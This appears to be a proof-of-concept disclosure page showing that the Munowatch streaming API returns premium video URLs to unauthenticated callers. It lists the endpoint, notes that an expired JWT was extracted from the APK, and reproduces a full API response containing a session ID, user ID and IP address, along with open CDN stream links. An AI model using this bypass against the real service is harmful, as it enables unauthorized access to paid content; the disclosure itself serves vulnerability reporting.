SECURITY PoC — NO AUTH
CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required
CDN bypass demonstration:
The API returned
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
The API returned
playingUrl for Dong Yi 45
with issubscriber: false and user_access: deny.The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
Dong Yi 45
Dong-yi, a commoner, falls in love with the king. She also manages to win the trust of the queen and becomes her confidante. She shares her insights and helps the king with the court decisions.
API Response Evidence — Vulnerability Proof
Endpoint called
GET /api/preview/v2/43129/0
User ID used
0 (no user / not logged in)
JWT used
Expired Feb 2024 (extracted from APK)
issubscriber
false
user_access
deny
paid_for
YES (premium content)
substatus
EXPIRED
serverhost
58
video_name
Dong Yi Episode 45.mp4
playingUrl returned
YES — URL in response
API playingUrl value
https://munowatch.co/clips/ELI.mp4
CDN demo stream
https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4
Finding: The server sets user_access=deny and
issubscriber=false but still returns playingUrl in the
same response. Subscription is enforced client-side only — any caller with
the expired APK JWT can obtain stream URLs without a subscription.
Munowatch CDN (b-cdn.net) serves content with no auth required
(direct HTTP Range requests succeed with HTTP 206).
{
"id": 43129,
"video_title": "Dong Yi 45",
"description": "Dong-yi, a commoner, falls in love with the king. She also manages to win the trust of the queen and becomes her confidante. She shares her insights and helps the king with the court decisions. ",
"video_name": "Dong Yi Episode 45.mp4",
"filehistory": "",
"openload": "0",
"embedurl": "",
"serverhost": "58",
"allow_openload": "0",
"full_video_name": "",
"duration": "01h 02m",
"thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/pX3tPzT3at8717.jpg",
"tfilehistory": "",
"category_id": 5,
"language_id": 1,
"recording_date": "2023-11-03",
"age_id": "13 +",
"location": 1,
"tab_category_id": 5,
"series_code": "10441",
"access": "1",
"paid_for": "1",
"new_movie": "1",
"priority": "No",
"size": "360.24 MB",
"create_date": "2023-11-03 09:11:38",
"schedule_date": "03.11.2023 08:55:55 AM",
"user_id": 1118356,
"vj_id": 26,
"video_status_id": 0,
"network_id": "41.190.134.203",
"user_access": "deny",
"notification": "",
"secduration": "3728.000000",
"issubscriber": false,
"genre": "Series",
"vjname": "Vj Sammy",
"trailer_playing_url": "",
"episodes": 60,
"episode_state": "NEXT",
"nxt_eps": "EPS 46",
"nxt_eps_id": 43130,
"nxt_eps_title": "Dong Yi 46",
"nxt_ldur": 0,
"nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
"playingUrl": "https://munowatch.co/clips/ELI.mp4",
"ldur": 0,
"session_id": "cb99afb5b31411a57538a97393de0e2e",
"device": "web",
"lang_name": "English to Luganda",
"vjrelease": "3 years ago",
"mstatus": false,
"kstatus": "",
"substatus": "EXPIRED"
}